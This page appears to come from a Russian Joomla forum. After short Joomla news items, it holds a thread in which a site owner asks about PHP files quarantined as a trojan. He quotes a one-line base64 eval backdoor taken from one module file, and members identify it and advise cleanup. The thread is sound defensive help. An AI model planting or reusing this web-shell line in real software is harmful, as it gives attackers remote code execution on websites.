Новости Joomla

Вышли релизы безопасности Joomla 6.1.3 и Joomla 5.4.8

Релиз безопасности Joomla 6.1.3 и Joomla 5.4.8

Проект Joomla! рад сообщить о выходе Joomla 6.1.3 и Joomla 5.4.8. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

Joomla 5+ пакет для интеграции с API Почты России: нормализация данных, расчёт доставки, создание отправлений, партии, документы, возвраты, поиск отделений, справочники и SOAP-отслеживание.

v.3.0.0. Что нового?
Это дальнейшее развитие ранее закрытой Joomla-библиотеки для работы с API сервиса Отправка (для бизнеса) Почты России. Поэтому версия не 1.0.0, а 3.0.0.

Сейчас эта библиотека ушла от собственных реализаций и стала Joomla-обёрткой известного PHP SDK от Lapay Group.

Возможности библиотеки.
- получение настроек аккаунта, точек сдачи и текущего остатка запросов к API;
- нормализация адресов, ФИО и телефонов перед созданием отправления;
- расчёт тарифа и срока доставки;
- создание, поиск, изменение, удаление и возврат заказов в состояние «Новые»;
- проверка надёжности получателя;
- создание партий, просмотр партий и заказов внутри партии;
- генерация пакета печатных документов и формы Ф103;
- создание, изменение и удаление возвратных отправлений;
- поиск отделений по индексу, адресу и координатам, получение сервисов отделения;
- локальный список стран;
- SOAP-отслеживание операций по РПО и работа с билетами пакетного трекинга.

👩‍💻 Joomla-возможности.
В пакете библиотеки WT Otpravkapochtaru есть поля Joomla Form для расширений. Они позволяют работать в интерфейсе Joomla с некоторыми типами данных, получаемых по API из вашего личного кабинета в ЛК Почты России для бизнеса.
На данный момент в библиотеке доступны 3 поля списков, которые отображают доступные в аккаунте ОПС, типы и категории отправлений.
Поддерживаются зависимые списки: значение одного поля обновляется при изменении другого.

Системные требования.
Системные требования в основном связаны с системными требованиями апстрима библиотеки - LapayGroup PHP SDK.
- Joomla 5+
- PHP 8.3+
- Расширения PHP:
-- ext-mbstring
-- ext-simplexml
-- ext-soap (опционально, для трекинга)
-- ext-zip

Ссылки:
- Страница расширения
- GitHub библиотеки и документация

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 12 Ответов
  • 2098 Просмотров
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
начал распаковывать архив скаченный с хоста то половина файлов php попали в карантин с сообщением PHP/Kriptik.AL троянская программа..., в инете кто что пишет, кто пишет, что антивирусники если видят 64 й код, то сразу в карантин, не раскодируя, другие, что лучше удалить..., кто что посоветует?
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Стандарт- антивирус выявил файл с вредоносным кодом.Но код может быть вставлен в нормальный скрипт Joomla/расширения. Поэтому, чтобы сохранить работоспособность сайта, нужно каждый файл сравнивать или заменять, с аналогичным из чистого дистра Joomla.
Или если есть опыт, самостоятельно проверять файл и удалять вредоносный код.
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
1.Не качайте с хоста, есть сайты разработчиков.Вот почему вы верите вашему хосту, а потом темы такие создаёте?
2.Отключите НОД и в нотепаге++ в поиске найдите ваш код
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
Я проверил ссылку на сайт д.вебом он лайн, чисто, на хосте антивирусником, тоже чисто, и поэтому немного непонятно, какие должны быть правильные действия..., например вытащил из карантина из папки модули файл, в котором написано
<?php eval(base64_decode($_POST['n726b60']));?>
Joomla я скачал с сайта разработчика, и что я должен проверить каждый файл на base64 и раскодировать?
не могу понять, что сделал не так и что надо сделать? т.к. я ничего не откуда не качал кроме Joomla...
PS: Файлов в карантине больше 100 и каждый проверять и раскодировать ..сложновато...
*

aspidy

  • Завсегдатай
  • 1008
  • 55 / 1
  • Миграция joomla 1.0-1.5-2.5
Или учится самому http://joomlaforum.ru/index.php?topic=239756.0  как убирать вредоносный код или обращаться к специалистам http://joomlaforum.ru/index.php/topic,282477.0.htmlhttp://joomlaforum.ru/index.php/topic,254903.0.html
Мелкий ремонт. skype poisk-plus
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
спасибо, понятно... Остался один вопрос... этот код однозначно вирус, и тогда я занимаюсь лечением... или это может быть закодированным куском программы(сайт работает и пока проблем не вижу)?, и тогда я занимаюсь изучением замены кода...
*

aspidy

  • Завсегдатай
  • 1008
  • 55 / 1
  • Миграция joomla 1.0-1.5-2.5
спасибо, понятно... Остался один вопрос... этот код однозначно вирус, и тогда я занимаюсь лечением... или это может быть закодированным куском программы(сайт работает и пока проблем не вижу)?, и тогда я занимаюсь изучением замены кода...
По одной строчке сложно сказать, но скорее всего вирус. Посмотрите логи, htaccess прогоните сканером. Тогда будет более понятно
Мелкий ремонт. skype poisk-plus
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
Понял, однозначного ответа нет, надо смотреть...блин, но с каждым ответом появляются другие вопросы...
Если это может быть не вирус, следовательно это может быть кусок кода программы... Каким образом этот код предстал в таком виде?, из-за какого-нибудь конвертера или ещё как...
Надо ли этот код переконвертировать обратно в обычный код и как это делается(хотя бы  ссылку почитать)
Каким сканером прогонять .htaccess(он у меня в таком виде), т.к. артивирусники ничего плохого в нем не увидели, может это Неправильные антивирусники, и для htaccess, нужен особый сканер...вот этот файл, что в нем может быть опасного...
Спойлер
[свернуть]


И последнее какие логи смотреть, в какой папке и на предмет чего.... посмотреть то посмотрю, но какие строчки в нем искать непонятно... что должно вызвать подозрительность при просмотре логов...
во ещё один файл нашел по пути ....ru\administrator\components\com_joomlapack\backup\.htaccess
deny from all
« Последнее редактирование: 14.05.2015, 05:46:03 от tmpnikl »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
например вытащил из карантина из папки модули файл, в котором написано
<?php eval(base64_decode($_POST['n726b60']));?>
это вирус.Такой код  в файле дописан или просто файл
*

aspidy

  • Завсегдатай
  • 1008
  • 55 / 1
  • Миграция joomla 1.0-1.5-2.5
Сканер http://joomlaforum.ru/index.php/topic,198048.0.html Поищите по форуму сканеров много
Логи смотрите последние, откуда идут подозрительные движения. Например попытка доступа к админ части. Но логи могут не давать полной картины, если взлом произошёл давно.
Под спойлером стандартный htaccess сравнивайте
Спойлер
[свернуть]
Мелкий ремонт. skype poisk-plus
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
спасибо, буду смотреть..., а htaccess, что у вас в спулере, что у меня в спулере идентичны...
*

aspidy

  • Завсегдатай
  • 1008
  • 55 / 1
  • Миграция joomla 1.0-1.5-2.5
Проверяйте этот \administrator\components\com_joomlapack\backup\.htaccess
Мелкий ремонт. skype poisk-plus
*

tmpnikl

  • Захожу иногда
  • 497
  • 4 / 0
А что его проверять, выше я написал, что там одна строчка...
deny from all
Запретить всем.... А должно быть так или нет... я не знаю...
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться